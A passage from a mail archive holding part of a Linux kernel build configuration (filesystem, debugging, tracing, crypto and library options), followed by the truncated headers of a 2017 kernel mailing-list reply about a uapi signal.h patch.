CONFIG_UBIFS_FS_ADVANCED_COMPR=y
CONFIG_UBIFS_FS_LZO=y
CONFIG_UBIFS_FS_ZLIB=y
# CONFIG_UBIFS_ATIME_SUPPORT is not set
# CONFIG_UBIFS_FS_ENCRYPTION is not set
CONFIG_CRAMFS=y
CONFIG_SQUASHFS=m
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_SINGLE=y
# CONFIG_SQUASHFS_DECOMP_MULTI is not set
# CONFIG_SQUASHFS_DECOMP_MULTI_PERCPU is not set
# CONFIG_SQUASHFS_XATTR is not set
CONFIG_SQUASHFS_ZLIB=y
# CONFIG_SQUASHFS_LZ4 is not set
# CONFIG_SQUASHFS_LZO is not set
CONFIG_SQUASHFS_XZ=y
# CONFIG_SQUASHFS_4K_DEVBLK_SIZE is not set
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_VXFS_FS=y
CONFIG_MINIX_FS=y
# CONFIG_OMFS_FS is not set
# CONFIG_HPFS_FS is not set
CONFIG_QNX4FS_FS=y
CONFIG_QNX6FS_FS=y
# CONFIG_QNX6FS_DEBUG is not set
CONFIG_ROMFS_FS=m
CONFIG_ROMFS_BACKED_BY_BLOCK=y
# CONFIG_ROMFS_BACKED_BY_MTD is not set
# CONFIG_ROMFS_BACKED_BY_BOTH is not set
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_PSTORE=y
# CONFIG_PSTORE_ZLIB_COMPRESS is not set
CONFIG_PSTORE_LZO_COMPRESS=y
# CONFIG_PSTORE_LZ4_COMPRESS is not set
CONFIG_PSTORE_CONSOLE=y
# CONFIG_PSTORE_PMSG is not set
CONFIG_PSTORE_FTRACE=y
# CONFIG_PSTORE_RAM is not set
CONFIG_SYSV_FS=m
# CONFIG_UFS_FS is not set
CONFIG_EXOFS_FS=m
# CONFIG_EXOFS_DEBUG is not set
CONFIG_ORE=m
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V2=m
# CONFIG_NFS_V3 is not set
CONFIG_NFS_V4=m
CONFIG_NFS_SWAP=y
# CONFIG_NFS_V4_1 is not set
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
CONFIG_NFS_DEBUG=y
CONFIG_NFSD=m
# CONFIG_NFSD_V3 is not set
# CONFIG_NFSD_V4 is not set
CONFIG_GRACE_PERIOD=m
CONFIG_LOCKD=m
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
CONFIG_SUNRPC_SWAP=y
CONFIG_SUNRPC_DEBUG=y
CONFIG_CEPH_FS=y
# CONFIG_CEPH_FS_POSIX_ACL is not set
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_WEAK_PW_HASH is not set
# CONFIG_CIFS_UPCALL is not set
# CONFIG_CIFS_XATTR is not set
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DFS_UPCALL is not set
# CONFIG_CIFS_SMB2 is not set
# CONFIG_CIFS_FSCACHE is not set
# CONFIG_NCP_FS is not set
CONFIG_CODA_FS=m
CONFIG_AFS_FS=y
# CONFIG_AFS_DEBUG is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
CONFIG_NLS_CODEPAGE_775=y
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=m
# CONFIG_NLS_CODEPAGE_855 is not set
CONFIG_NLS_CODEPAGE_857=y
# CONFIG_NLS_CODEPAGE_860 is not set
CONFIG_NLS_CODEPAGE_861=y
CONFIG_NLS_CODEPAGE_862=y
CONFIG_NLS_CODEPAGE_863=y
# CONFIG_NLS_CODEPAGE_864 is not set
CONFIG_NLS_CODEPAGE_865=y
# CONFIG_NLS_CODEPAGE_866 is not set
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=y
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
CONFIG_NLS_CODEPAGE_874=y
CONFIG_NLS_ISO8859_8=m
# CONFIG_NLS_CODEPAGE_1250 is not set
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=y
CONFIG_NLS_ISO8859_14=y
# CONFIG_NLS_ISO8859_15 is not set
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_MAC_ROMAN=y
CONFIG_NLS_MAC_CELTIC=m
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
CONFIG_NLS_MAC_CYRILLIC=y
# CONFIG_NLS_MAC_GAELIC is not set
CONFIG_NLS_MAC_GREEK=m
# CONFIG_NLS_MAC_ICELAND is not set
CONFIG_NLS_MAC_INUIT=m
# CONFIG_NLS_MAC_ROMANIAN is not set
CONFIG_NLS_MAC_TURKISH=m
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#
CONFIG_TRACE_IRQFLAGS_SUPPORT=y

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
CONFIG_BOOT_PRINTK_DELAY=y
CONFIG_DYNAMIC_DEBUG=y

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_STRIP_ASM_SYMS=y
# CONFIG_READABLE_ASM is not set
CONFIG_UNUSED_SYMBOLS=y
CONFIG_PAGE_OWNER=y
CONFIG_DEBUG_FS=y
CONFIG_HEADERS_CHECK=y
CONFIG_DEBUG_SECTION_MISMATCH=y
# CONFIG_SECTION_MISMATCH_WARN_ONLY is not set
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
CONFIG_PAGE_EXTENSION=y
CONFIG_DEBUG_PAGEALLOC=y
# CONFIG_DEBUG_PAGEALLOC_ENABLE_DEFAULT is not set
CONFIG_PAGE_POISONING=y
# CONFIG_PAGE_POISONING_NO_SANITY is not set
# CONFIG_PAGE_POISONING_ZERO is not set
CONFIG_DEBUG_PAGE_REF=y
CONFIG_DEBUG_OBJECTS=y
CONFIG_DEBUG_OBJECTS_SELFTEST=y
# CONFIG_DEBUG_OBJECTS_FREE is not set
# CONFIG_DEBUG_OBJECTS_TIMERS is not set
# CONFIG_DEBUG_OBJECTS_WORK is not set
# CONFIG_DEBUG_OBJECTS_RCU_HEAD is not set
CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y
CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
# CONFIG_DEBUG_SLAB is not set
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_DEBUG_STACK_USAGE is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_VIRTUAL is not set
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_STACKOVERFLOW is not set
CONFIG_HAVE_ARCH_KMEMCHECK=y
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
CONFIG_WQ_WATCHDOG=y
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_ON_OOPS_VALUE=1
CONFIG_PANIC_TIMEOUT=0
CONFIG_SCHED_DEBUG=y
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# CONFIG_SCHED_STACK_END_CHECK is not set
CONFIG_DEBUG_TIMEKEEPING=y
# CONFIG_TIMER_STATS is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_WW_MUTEX_SLOWPATH=y
CONFIG_DEBUG_LOCK_ALLOC=y
# CONFIG_PROVE_LOCKING is not set
CONFIG_LOCKDEP=y
CONFIG_LOCK_STAT=y
CONFIG_DEBUG_LOCKDEP=y
CONFIG_DEBUG_ATOMIC_SLEEP=y
CONFIG_DEBUG_LOCKING_API_SELFTESTS=y
CONFIG_LOCK_TORTURE_TEST=m
CONFIG_TRACE_IRQFLAGS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_LIST=y
# CONFIG_DEBUG_PI_LIST is not set
CONFIG_DEBUG_SG=y
# CONFIG_DEBUG_NOTIFIERS is not set
CONFIG_DEBUG_CREDENTIALS=y

#
# RCU Debugging
#
# CONFIG_PROVE_RCU is not set
CONFIG_SPARSE_RCU_POINTER=y
CONFIG_TORTURE_TEST=y
# CONFIG_RCU_PERF_TEST is not set
CONFIG_RCU_TORTURE_TEST=y
CONFIG_RCU_TORTURE_TEST_SLOW_PREINIT=y
CONFIG_RCU_TORTURE_TEST_SLOW_PREINIT_DELAY=3
CONFIG_RCU_TORTURE_TEST_SLOW_INIT=y
CONFIG_RCU_TORTURE_TEST_SLOW_INIT_DELAY=3
# CONFIG_RCU_TORTURE_TEST_SLOW_CLEANUP is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_EQS_DEBUG=y
# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
CONFIG_NOTIFIER_ERROR_INJECTION=y
# CONFIG_OF_RECONFIG_NOTIFIER_ERROR_INJECT is not set
CONFIG_NETDEV_NOTIFIER_ERROR_INJECT=y
CONFIG_FAULT_INJECTION=y
# CONFIG_FAILSLAB is not set
# CONFIG_FAIL_PAGE_ALLOC is not set
# CONFIG_FAIL_MAKE_REQUEST is not set
CONFIG_FAIL_IO_TIMEOUT=y
CONFIG_FAIL_FUTEX=y
# CONFIG_FAULT_INJECTION_DEBUG_FS is not set
CONFIG_LATENCYTOP=y
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_TRACER_MAX_TRACE=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_RING_BUFFER_ALLOW_SWAP=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
CONFIG_FUNCTION_TRACER=y
CONFIG_IRQSOFF_TRACER=y
CONFIG_SCHED_TRACER=y
# CONFIG_HWLAT_TRACER is not set
# CONFIG_FTRACE_SYSCALLS is not set
CONFIG_TRACER_SNAPSHOT=y
CONFIG_TRACER_SNAPSHOT_PER_CPU_SWAP=y
CONFIG_TRACE_BRANCH_PROFILING=y
# CONFIG_BRANCH_PROFILE_NONE is not set
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
CONFIG_PROFILE_ALL_BRANCHES=y
# CONFIG_BRANCH_TRACER is not set
CONFIG_STACK_TRACER=y
CONFIG_BLK_DEV_IO_TRACE=y
# CONFIG_UPROBE_EVENT is not set
# CONFIG_PROBE_EVENTS is not set
# CONFIG_DYNAMIC_FTRACE is not set
# CONFIG_FUNCTION_PROFILER is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
CONFIG_MMIOTRACE=y
# CONFIG_HIST_TRIGGERS is not set
CONFIG_MMIOTRACE_TEST=m
CONFIG_TRACEPOINT_BENCHMARK=y
CONFIG_RING_BUFFER_BENCHMARK=m
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
CONFIG_TRACE_ENUM_MAP_FILE=y
CONFIG_TRACING_EVENTS_GPIO=y

#
# Runtime Testing
#
CONFIG_LKDTM=y
CONFIG_TEST_LIST_SORT=y
# CONFIG_BACKTRACE_SELF_TEST is not set
CONFIG_RBTREE_TEST=y
CONFIG_INTERVAL_TREE_TEST=m
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
CONFIG_TEST_HEXDUMP=m
CONFIG_TEST_STRING_HELPERS=m
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_PRINTF is not set
CONFIG_TEST_BITMAP=m
CONFIG_TEST_UUID=m
# CONFIG_TEST_RHASHTABLE is not set
CONFIG_TEST_HASH=y
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_TEST_LKM is not set
CONFIG_TEST_USER_COPY=m
# CONFIG_TEST_BPF is not set
# CONFIG_TEST_FIRMWARE is not set
CONFIG_TEST_UDELAY=m
CONFIG_MEMTEST=y
CONFIG_TEST_STATIC_KEYS=m
# CONFIG_BUG_ON_DATA_CORRUPTION is not set
# CONFIG_SAMPLES is not set
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_KGDB is not set
CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y
# CONFIG_ARCH_WANTS_UBSAN_NO_NULL is not set
# CONFIG_UBSAN is not set
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
CONFIG_STRICT_DEVMEM=y
CONFIG_IO_STRICT_DEVMEM=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
# CONFIG_EARLY_PRINTK_DBGP is not set
CONFIG_X86_PTDUMP_CORE=y
# CONFIG_X86_PTDUMP is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_DEBUG_WX=y
# CONFIG_DEBUG_NX_TEST is not set
CONFIG_DOUBLEFAULT=y
CONFIG_DEBUG_TLBFLUSH=y
# CONFIG_IOMMU_STRESS is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
CONFIG_IO_DELAY_TYPE_0X80=0
CONFIG_IO_DELAY_TYPE_0XED=1
CONFIG_IO_DELAY_TYPE_UDELAY=2
CONFIG_IO_DELAY_TYPE_NONE=3
# CONFIG_IO_DELAY_0X80 is not set
# CONFIG_IO_DELAY_0XED is not set
CONFIG_IO_DELAY_UDELAY=y
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEFAULT_IO_DELAY_TYPE=2
# CONFIG_DEBUG_BOOT_PARAMS is not set
# CONFIG_CPA_DEBUG is not set
CONFIG_OPTIMIZE_INLINING=y
CONFIG_DEBUG_ENTRY=y
# CONFIG_DEBUG_NMI_SELFTEST is not set
# CONFIG_X86_DEBUG_FPU is not set
CONFIG_PUNIT_ATOM_DEBUG=m

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_PERSISTENT_KEYRINGS is not set
# CONFIG_BIG_KEYS is not set
CONFIG_TRUSTED_KEYS=m
CONFIG_ENCRYPTED_KEYS=m
CONFIG_KEY_DH_OPERATIONS=y
CONFIG_SECURITY_DMESG_RESTRICT=y
# CONFIG_SECURITY is not set
CONFIG_SECURITYFS=y
CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y
CONFIG_HAVE_ARCH_HARDENED_USERCOPY=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_XOR=m
CONFIG_ASYNC_PQ=m
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_RNG_DEFAULT=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_KPP=m
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_RSA=y
CONFIG_CRYPTO_DH=m
CONFIG_CRYPTO_ECDH=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
CONFIG_CRYPTO_GF128MUL=y
CONFIG_CRYPTO_NULL=y
CONFIG_CRYPTO_NULL2=y
CONFIG_CRYPTO_WORKQUEUE=y
CONFIG_CRYPTO_CRYPTD=y
CONFIG_CRYPTO_MCRYPTD=m
CONFIG_CRYPTO_AUTHENC=y
CONFIG_CRYPTO_TEST=m
CONFIG_CRYPTO_ABLK_HELPER=y
CONFIG_CRYPTO_SIMD=y
CONFIG_CRYPTO_GLUE_HELPER_X86=y

#
# Authenticated Encryption with Associated Data
#
CONFIG_CRYPTO_CCM=y
# CONFIG_CRYPTO_GCM is not set
CONFIG_CRYPTO_CHACHA20POLY1305=y
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_CTR=y
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_PCBC=y
CONFIG_CRYPTO_XTS=y
CONFIG_CRYPTO_KEYWRAP=y

#
# Hash modes
#
CONFIG_CRYPTO_CMAC=m
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_XCBC=m
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
CONFIG_CRYPTO_CRC32C_INTEL=m
CONFIG_CRYPTO_CRC32=y
CONFIG_CRYPTO_CRC32_PCLMUL=y
CONFIG_CRYPTO_CRCT10DIF=y
CONFIG_CRYPTO_GHASH=y
CONFIG_CRYPTO_POLY1305=y
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_MICHAEL_MIC=m
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
CONFIG_CRYPTO_RMD256=y
CONFIG_CRYPTO_RMD320=m
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
# CONFIG_CRYPTO_SHA3 is not set
# CONFIG_CRYPTO_TGR192 is not set
CONFIG_CRYPTO_WP512=m

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_AES_586=y
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
CONFIG_CRYPTO_CAST_COMMON=y
CONFIG_CRYPTO_CAST5=y
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_FCRYPT=y
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_SALSA20=m
# CONFIG_CRYPTO_SALSA20_586 is not set
CONFIG_CRYPTO_CHACHA20=y
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_SERPENT_SSE2_586=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=y
CONFIG_CRYPTO_TWOFISH_586=y

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
CONFIG_CRYPTO_LZO=m
CONFIG_CRYPTO_842=m
CONFIG_CRYPTO_LZ4=y
CONFIG_CRYPTO_LZ4HC=m

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
CONFIG_CRYPTO_DRBG_MENU=y
CONFIG_CRYPTO_DRBG_HMAC=y
CONFIG_CRYPTO_DRBG_HASH=y
# CONFIG_CRYPTO_DRBG_CTR is not set
CONFIG_CRYPTO_DRBG=y
CONFIG_CRYPTO_JITTERENTROPY=y
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_AEAD is not set
CONFIG_CRYPTO_HASH_INFO=y
# CONFIG_CRYPTO_HW is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
CONFIG_PKCS7_MESSAGE_PARSER=y

#
# Certificates for signature checking
#
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
CONFIG_SECONDARY_TRUSTED_KEYRING=y
CONFIG_HAVE_KVM=y
CONFIG_VIRTUALIZATION=y
CONFIG_VHOST_NET=m
CONFIG_VHOST_VSOCK=m
CONFIG_VHOST=m
CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y
CONFIG_LGUEST=y
CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_RAID6_PQ=y
CONFIG_BITREVERSE=y
# CONFIG_HAVE_ARCH_BITREVERSE is not set
CONFIG_RATIONAL=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_FIND_FIRST_BIT=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IOMAP=y
CONFIG_GENERIC_IO=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_CRC_CCITT=y
CONFIG_CRC16=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
# CONFIG_CRC32_SLICEBY8 is not set
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
CONFIG_CRC32_BIT=y
CONFIG_CRC7=y
CONFIG_LIBCRC32C=y
CONFIG_CRC8=y
CONFIG_AUDIT_GENERIC=y
# CONFIG_AUDIT_ARCH_COMPAT_GENERIC is not set
# CONFIG_RANDOM32_SELFTEST is not set
CONFIG_842_COMPRESS=m
CONFIG_842_DECOMPRESS=m
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_LZO_COMPRESS=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_COMPRESS=y
CONFIG_LZ4HC_COMPRESS=m
CONFIG_LZ4_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
CONFIG_XZ_DEC_TEST=y
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_REED_SOLOMON=m
CONFIG_REED_SOLOMON_DEC16=y
CONFIG_BCH=m
CONFIG_INTERVAL_TREE=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_CHECK_SIGNATURE=y
CONFIG_DQL=y
CONFIG_GLOB=y
CONFIG_GLOB_SELFTEST=y
CONFIG_NLATTR=y
CONFIG_CLZ_TAB=y
CONFIG_CORDIC=y
CONFIG_DDR=y
CONFIG_IRQ_POLL=y
CONFIG_MPILIB=y
CONFIG_LIBFDT=y
CONFIG_OID_REGISTRY=y
CONFIG_FONT_SUPPORT=m
CONFIG_FONTS=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
CONFIG_FONT_MINI_4x6=y
CONFIG_FONT_6x10=y
CONFIG_FONT_SUN8x16=y
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
# CONFIG_SG_SPLIT is not set
CONFIG_SG_POOL=y
CONFIG_ARCH_HAS_SG_CHAIN=y
CONFIG_ARCH_HAS_MMIO_FLUSH=y
CONFIG_STACKDEPOT=y
CONFIG_SBITMAP=y

--=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3--


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Mon, 6 Mar 2017 10:10:18 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <CAE2sS1jTyENymA-fSAk4dt29rYgX50zYqubVYnGVGnFrH=-1nA@mail.gmail.com>
References: <20170226010156.GA28831@altlinux.org> <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
 <CAE2sS1h9QNV+31GMSv8aahJYOb9hFtFp5Aj-yVOfg7cjBHr_kg@mail.gmail.com>
 <20170302154845.GB3503@altlinux.org> <CAE2sS1i-xezJu2hHfzOxpCMZHc2J+dsturtqFPMRWHa6mm6ccQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1488813029 13755 195.159.176.226 (6 Mar 2017 15:10:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Mar 2017 15:10:29 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.
To: "Dmitry V. Levin" <ldv@altlinux.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Mar 06 16:10:21 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ckuHB-0002gE-AO
	for glka-linux-arch@m.gmane.org; Mon, 06 Mar 2017 16:10:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932177AbdCFPKW (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Mon, 6 Mar 2017 10:10:22 -0500
Original-Received: from mail-qk0-f173.google.com ([209.85.220.173]:34156 "EHLO
